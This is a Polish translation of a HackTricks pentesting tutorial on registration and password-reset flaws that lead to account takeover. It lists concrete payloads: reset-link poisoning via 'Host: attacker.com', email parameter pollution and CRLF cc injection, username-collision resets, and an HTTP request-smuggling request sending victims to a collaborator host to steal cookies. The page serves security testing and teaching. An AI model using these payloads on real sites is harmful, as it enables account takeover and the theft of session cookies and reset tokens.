hacktricks/pentesting-web/registration-vulnerabilities.md

9.6 KiB

Luki w rejestracji i przejęciu

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}

Przejęcie rejestracji

Duplikat rejestracji

  • Spróbuj wygenerować przy użyciu istniejącej nazwy użytkownika
  • Sprawdź różne adresy e-mail:
  • wielkie litery
  • +1@
  • dodaj kropkę w adresie e-mail
  • znaki specjalne w nazwie e-maila (%00, %09, %20)
  • Dodaj czarne znaki po adresie e-mail: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumeracja nazw użytkowników

Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestrowana w aplikacji.

Polityka haseł

Tworząc użytkownika, sprawdź politykę haseł (sprawdź, czy możesz używać słabych haseł).
W takim przypadku możesz spróbować przeprowadzić atak brute force na dane logowania.

SQL Injection

Sprawdź tę stronę , aby dowiedzieć się, jak próbować przejęć kont lub wydobywać informacje za pomocą SQL Injections w formularzach rejestracyjnych.

Przejęcia Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Luki SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Zmień e-mail

Po rejestracji spróbuj zmienić adres e-mail i sprawdź, czy ta zmiana jest poprawnie weryfikowana, czy można ją zmienić na dowolne adresy e-mail.

Więcej kontroli

  • Sprawdź, czy możesz używać tymczasowych adresów e-mail
  • Długie hasło (>200) prowadzi do DoS
  • Sprawdź limity szybkości przy tworzeniu kont
  • Użyj username@burp_collab.net i przeanalizuj callback

Przejęcie resetu hasła

Wyciekanie tokena resetu hasła przez referer

  1. Poproś o reset hasła na swój adres e-mail
  2. Kliknij w link do resetu hasła
  3. Nie zmieniaj hasła
  4. Kliknij na dowolne strony trzecie (np. Facebook, Twitter)
  5. Przechwyć żądanie w proxy Burp Suite
  6. Sprawdź, czy nagłówek referer wycieka token resetu hasła.

Zatrucie resetu hasła

  1. Przechwyć żądanie resetu hasła w Burp Suite
  2. Dodaj lub edytuj następujące nagłówki w Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Prześlij żądanie z zmodyfikowanym nagłówkiem
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Szukaj URL resetu hasła na podstawie nagłówka host jak: https://attacker.com/reset-password.php?token=TOKEN

Reset hasła przez parametr e-mail

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na parametrach API

  1. Atakujący musi zalogować się na swoje konto i przejść do funkcji Zmień hasło.
  2. Uruchom Burp Suite i przechwyć żądanie.
  3. Wyślij je do zakładki repeater i edytuj parametry: ID użytkownika/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Słaby token resetowania hasła

Token resetowania hasła powinien być generowany losowo i być unikalny za każdym razem.
Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Poniższe zmienne mogą być używane przez algorytm.

  • Znacznik czasu
  • ID użytkownika
  • Email użytkownika
  • Imię i nazwisko
  • Data urodzenia
  • Kryptografia
  • Tylko liczby
  • Mała sekwencja tokenów (znaki między [A-Z,a-z,0-9])
  • Ponowne użycie tokenu
  • Data wygaśnięcia tokenu

Wyciekanie tokenu resetowania hasła

  1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego emaila, np: test@mail.com
  2. Sprawdź odpowiedź serwera i poszukaj resetToken
  3. Następnie użyj tokenu w URL, jak https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetowanie hasła przez kolizję nazw użytkowników

  1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi białymi znakami przed i/lub po nazwie użytkownika. np: "admin "
  2. Poproś o resetowanie hasła za pomocą swojego złośliwego nazwy użytkownika.
  3. Użyj tokenu wysłanego na swój email i zresetuj hasło ofiary.
  4. Zaloguj się na konto ofiary za pomocą nowego hasła.

Platforma CTFd była podatna na ten atak.
Zobacz: CVE-2020-7245

Przejęcie konta przez Cross Site Scripting

  1. Znajdź XSS w aplikacji lub subdomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej: *.domain.com
  2. Wycieknij aktualne ciasteczko sesji
  3. Uwierzytelnij się jako użytkownik, używając ciasteczka

Przejęcie konta przez HTTP Request Smuggling

1. Użyj smuggler do wykrycia typu HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Stwórz żądanie, które nadpisze POST / HTTP/1.1 następującymi danymi:
GET http://something.burpcollaborator.net HTTP/1.1 X: z celem otwartego przekierowania ofiar do burpcollab i kradzieży ich ciasteczek
3. Ostateczne żądanie może wyglądać następująco

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone raporty wykorzystujące ten błąd
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Przejęcie konta za pomocą CSRF

  1. Stwórz ładunek dla CSRF, np: „formularz HTML z automatycznym przesyłaniem do zmiany hasła”
  2. Wyślij ładunek

Przejęcie konta za pomocą JWT

JSON Web Token może być używany do uwierzytelniania użytkownika.

  • Edytuj JWT z innym identyfikatorem użytkownika / adresem e-mail
  • Sprawdź słabą sygnaturę JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Odniesienia

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}